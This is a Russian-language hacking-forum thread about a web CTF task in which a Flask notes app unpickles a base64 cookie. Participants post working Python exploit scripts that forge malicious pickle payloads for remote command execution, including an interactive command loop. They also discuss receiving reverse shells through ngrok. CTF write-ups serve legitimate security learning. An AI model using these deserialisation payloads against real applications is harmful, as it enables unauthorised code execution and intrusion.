HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 14.02.2024, 17:03
ss0xffff
Новичок
Регистрация: 26.01.2024
Сообщений: 7
С нами: 1210809

Репутация: 0
По умолчанию

В этом посте хотел бы рассмотреть необычное решение, которое я нашел в процессе выполнения CTF таска "Соленый огурец" из веба на платформе Antichat.



1. Открываем указанный iport в браузере и перед нами открывается простое веб приложение для создания заметок.



2. В самом начале на странице с заданием можно было скачать исходники к этому приложению. После того как архив скачался, заглянем в app.py: видно что это приложение на фласке; стоит обратить внимание на маршрут "/add_none" - интересным моментом является то, что введенная заметка сериализируется (метод dumps) с помощью модуля pickle, затем кодировка base64 и потом сохраняется в куки с названием "notes". Для вывода заметки производятся обратные действия: из куки декодировка base64 и затем десериализация (метод loads).



3. Таким образом можно предположить, что если "завернуть" нужные нам команды с помощью pickles, закодировав полученный результат с помощью base64, и передать их в кукис, то можно добиться удаленного выполенния кода. Далее пришлось полазить по Интернету в поисках каких-либо подсказок насчет данной ситуации. Во всех случаях, которые мне попались, люди переопределяли метод __reduce__() внутри какого-либо класса, вызывая выполнение системных команд. Справедливо было бы спросить почему именно этот метод. Почитав докуметацию к pickles, надеюсь, я правильно понял, что метод __reduce__() является частью протокола сериализации Python, который позволяет объектам определить специальную логику для их сериализации и десериализации; когда объект передается функции pickle.dump() или pickle.dumps(), модуль pickle проверяет, есть ли у объекта метод __reduce__(). Если такой метод определен, то вызывается __reduce__(), который должен вернуть кортеж из функции, класса или строки и аргументов, которые будут использоваться для создания объекта при его десериализации. В нашем случае, когда переопределяется метод __reduce__(), вызывается команда из терминала.
Для проверки я сделал тестовую программу которая сериализует класс Inject c методом __reduce__() (внутри c помощью subprocess.check_output, которая сохраняет stdout, попробуем вывести текущего пользователя):



Запустим данный скрипт и получим закодированный в base64 сериализованный объект: "gASVLwAAAAAAAACMCnN1YnB......"
Скопируем вывод и всавим его прямо в кукис notes и обновим страницу:



Получим такой вывод - похоже на посимаолный вывод ascii кодов в десятеричной с.к. Воспользовавшись таблицой ascii, можно легко сопоставить 114 - 'r', 111 - 'o', 116 - 't', 10 - это управляющий символ. То есть мы под root'ом. Таким образом мы достигли PoC. Можно двигаться дальше. Для удобства сделаем программу на python котороая будет переводить ascii коды в привычные нам символы:



4. Теперь попробуем вывести все доступные файлы в текущей директории:



Получаем наш новый кукис и вставляем его в Cookie Editor:



Скопируем эти коды и декодируем их с помощью написанной ранее программы:



Отлично, теперь аналогичным образом прочитаем файл с флагом:



Результат:



Декодируем:



Готово, флаг найден.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Я сказал вначале, что решение необычное, потому что насколько я знаю это задание нужно было решать через реверс шелл (в интернете все передавли как пейлоад именно netcat reverse shell):



Но если я правильно понимаю, для реверс шелла нужен белый ip (если мы не в одной локальной сети, конечно): ведь по сути это машина жертвы должна инициировать соединение, а атакующий - открыть определенный порт и слушать.
То есть самое главное, что я хотел спросить, что обычно делается если нужно начать реверс шелл: покупается в vps, проброс портов на роутере или может есть какие-то сервисы, чтобы разово принять такое соединение?
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Благодарю за внимание. Надеюсь получить ответ на вопрос выше. В ctf играх я недавно поэтому, если где что не так сказал - не судите строго.
 
Ответить с цитированием

  #2  
Старый 14.02.2024, 18:56
Exited3n
Постоянный
Регистрация: 28.05.2022
Сообщений: 800
С нами: 2086530

Репутация: 0


По умолчанию

Также реализовал, только в одно сплоите:

Python:


Код:
import
requests
import
pickle
import
base64
import
subprocess
class
PayLoad
(
object
)
:
def
__reduce__
(
self
)
:
return
subprocess
.
check_output
,
(
(
'ls'
,
'-lah'
)
,
)
a
=
pickle
.
dumps
(
PayLoad
(
)
)
cookie
=
base64
.
b64encode
(
a
)
url
=
"http://62.173.140.174:16040/"
cookies
=
{
"notes"
:
cookie
.
decode
(
'utf-8'
)
}
req
=
requests
.
get
(
url
,
cookies
=
cookies
)
data
=
req
.
text
[
500
:
]
.
replace
(
'
'
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
split
(
)
flag
=
''
.
join
(
[
chr
(
int
(
i
)
)
for
i
in
data
]
)
print
(
'Pickle base64 encoded payload:'
,
cookie
.
decode
(
'utf-8'
)
)
print
(
f'Flag:{flag}'
)
Цитата:

ss0xffff сказал(а):

То есть самое главное, что я хотел спросить, что обычно делается если нужно начать реверс шелл: покупается в vps, проброс портов на роутере или может есть какие-то сервисы, чтобы разово принять такое соединение?

Как хочешь, кто то берет сервер, у кого нет ни серва ни IP, то ngrokв помощь!
 
Ответить с цитированием

  #3  
Старый 14.02.2024, 19:05
ss0xffff
Новичок
Регистрация: 26.01.2024
Сообщений: 7
С нами: 1210809

Репутация: 0
По умолчанию

Да, у вас более красивое решение. За ngrok - спасибо, как раз ждал чего-то подобного. Так как сервер или порт форвардинг слишком замудренно для заданий легкого уровня.
 
Ответить с цитированием

  #4  
Старый 14.02.2024, 20:33
fara0n
Новичок
Регистрация: 13.10.2023
Сообщений: 0
С нами: 1362405

Репутация: 0
По умолчанию

Цитата:

Exited3n сказал(а):

Также реализовал, только в одно сплоите:

Python:


Код:
import
requests
import
pickle
import
base64
import
subprocess
class
PayLoad
(
object
)
:
def
__reduce__
(
self
)
:
return
subprocess
.
check_output
,
(
(
'ls'
,
'-lah'
)
,
)
a
=
pickle
.
dumps
(
PayLoad
(
)
)
cookie
=
base64
.
b64encode
(
a
)
url
=
"http://62.173.140.174:16040/"
cookies
=
{
"notes"
:
cookie
.
decode
(
'utf-8'
)
}
req
=
requests
.
get
(
url
,
cookies
=
cookies
)
data
=
req
.
text
[
500
:
]
.
replace
(
'
'
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
split
(
)
flag
=
''
.
join
(
[
chr
(
int
(
i
)
)
for
i
in
data
]
)
print
(
'Pickle base64 encoded payload:'
,
cookie
.
decode
(
'utf-8'
)
)
print
(
f'Flag:{flag}'
)
Как хочешь, кто то берет сервер, у кого нет ни серва ни IP, то ngrokв помощь!

Чуть-чуть внёс изменения в Ваш скрипт для удобной работы. Теперь, можно вводить команды и получать результат без необходимости менять команды в самом скрипте.

Цитата:

Python:


Код:
import
requests
import
pickle
import
base64
import
subprocess
class
PayLoad
(
object
)
:
def
__reduce__
(
self
)
:
# print(cmd.split())
return
(
subprocess
.
check_output
,
(
cmd
.
split
(
)
,
)
)
while
True
:
try
:
cmd
=
input
(
"cmd> "
)
cmd
=
cmd
.
rstrip
(
)
.
encode
(
)
.
decode
(
)
if
cmd
==
'exit'
:
break
a
=
pickle
.
dumps
(
PayLoad
(
)
)
cookie
=
base64
.
b64encode
(
a
)
url
=
"http://62.173.140.174:16040/"
cookies
=
{
"notes"
:
cookie
.
decode
(
'utf-8'
)
}
req
=
requests
.
get
(
url
,
cookies
=
cookies
)
data
=
req
.
text
[
500
:
]
.
replace
(
'
'
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
replace
(
''
,
''
)
.
split
(
)
sh_comman
=
''
.
join
(
[
chr
(
int
(
i
)
)
for
i
in
data
]
)
print
(
f'\n{sh_comman}'
)
except
KeyboardInterrupt
:
exit
(
0
)
Для выхода пишем exit либо Ctrl+C
 
Ответить с цитированием

  #5  
Старый 03.06.2024, 13:51
Rekaptcha
Новичок
Регистрация: 05.05.2020
Сообщений: 0
С нами: 3171132

Репутация: 0
По умолчанию

А я подупоролся)
Через subprocess и system не получил выводов и решил заабузит код инжект aka SSTI.

Python:


Код:
def
__reduce__
(
self
)
:
return
(
builtins
.
eval
,
(
"[''.__class__.__base__.__subclasses__()[367]('cat flag.txt',shell=True,stdout=-1).communicate()]"
,
)
)
 
Ответить с цитированием

  #6  
Старый 11.06.2024, 20:04
x0001
Новичок
Регистрация: 17.03.2024
Сообщений: 0
С нами: 1137345

Репутация: 0
По умолчанию

Отличное решение
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.